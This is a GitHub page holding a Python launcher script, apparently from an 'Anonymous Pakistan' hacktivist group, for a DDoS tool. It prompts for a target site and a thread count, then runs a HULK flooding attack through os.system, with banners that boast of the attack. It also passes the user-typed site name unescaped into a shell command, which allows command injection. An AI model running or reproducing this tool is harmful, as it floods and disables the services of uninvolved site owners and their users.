-
Notifications
You must be signed in to change notification settings - Fork 29
/
Python-Script.py
64 lines (60 loc) · 3.41 KB
/
Python-Script.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from colorama import Fore, Back, Style
#print(Fore.RED + 'some red text')
#print(Back.GREEN + 'and with a green background')
#print(Style.DIM + 'and in dim text')
#print(Style.RESET_ALL)
#print('back to normal now')
import os
import pyttsx3
import sys
import platform
def say_stuff(stuff_to_say):
engine = pyttsx3.init()
engine.say(str(stuff_to_say))
engine.runAndWait()
print(Fore.GREEN + Back.BLACK)
if str(platform.system()) == 'Linux':
os.system('figlet AnonymousPAK DDoS Attack')
else:
os.system('pyfiglet AnonymousPAK DDoS Attack')
print(Back.GREEN + Fore.GREEN +'[+] Anonymous DDoS tool by' + Fore.RED + 'Anonymous Pakistan Community ')
print(Back.GREEN + Fore.BLACK + '[+] AnonPAK-DDoS Tool BETA VERSION 0.1 ')
print(Back.BLACK +Fore.GREEN + '[+] AnonPAK-DDoS Tool Interactive Menu in Python by Muneeb Khurram ')
print(Fore.YELLOW + '[+] We are Anonymous, We are a Legion, We do not Forgive, We do not Forget ')
print(Fore.GREEN + '[+] Starting AnonPAK DoS Tool with 1024 Baseline Threads as Default change below as Required ')
print(Fore.BLUE + 'Author: ' + Fore.GREEN + 'Muneeb Khurram (UBISOFT-1)')
print(Fore.RED + 'Youtube: ' + Fore.GREEN + 'https://www.youtube.com/channel/UCzYulTuhxSIqSlW2PqTkkEw')
print(Fore.YELLOW + 'GitHub: ' + Fore.GREEN + 'https://github.com/ubisoft-1')
print('Your OS:'+ Fore.RED + str(platform.system())+Fore.GREEN)
try:
threads = input('[+] ENTER THE NUMBER OF' + Fore.BLUE + ' THREADS ' + Fore.GREEN + 'FOR DDoS >>>')
site = input(Fore.BLUE + '[+] Enter the Site that You want to' + Fore.RED + ' DDoS ' + Fore.GREEN + '>>>')
colab_status = input(Fore.YELLOW + 'Are you DDoS with Google Collab [Y/N]')
attack_severity = input('[+] Enter'+ Fore.RED +' 1'+Fore.GREEN+' For a Very Small'+Fore.RED+' Target'+Fore.GREEN+' Like a Device and' + Fore.YELLOW + ' 2 ' + Fore.GREEN +' for a ' + Fore.YELLOW + 'Website '+ Fore.GREEN + ' >>>')
if 'Y' == colab_status:
print('OK, Now Not using Text-to-Speech to make ur Attack look' + Fore.RED+ ' Cool' + Fore.GREEN)
if 'y' == colab_status:
print('OK, Now Not using Text-to-Speech to make ur Attack look' + Fore.RED+ ' Cool' + Fore.GREEN)
if 'n' == colab_status:
if str(platform.system()) == 'Linux':
print('[+] As You are on Linux, No, Text-to-Speech')
else:
say_stuff("Attacking your Target Website {0} with {1} Threads".format(site, threads))
if 'N' == colab_status:
if str(platform.system()) == 'Linux':
print('[+] As you are on Linux, No, Text-to-Speech')
else:
say_stuff("Attacking your Target Website {0} with {1} Threads".format(site, threads))
print('[+] Executing Command as Follows')
print(Fore.GREEN +'HULKMAXPROCS={0} go run hulk.go -site {1}'.format(threads,site))
if 'Windows' in str(platform.system()):
os.system('go run hulk.go -site {0}'.format(site))
else:
os.system('HULKMAXPROCS={0} go run hulk.go -site {1}'.format(threads,site))
print(Back.BLACK + Fore.GREEN)
except:
print('[+] Execution Stopped with Error Code 0, Install GoLang or Your Internet is not working properly')
print('[+] Installing Dependancies')
os.system('python3 Install_Dependancies.py')
os.system('python Install_Dependancies.py')
os.system('py Install_Dependancies.py')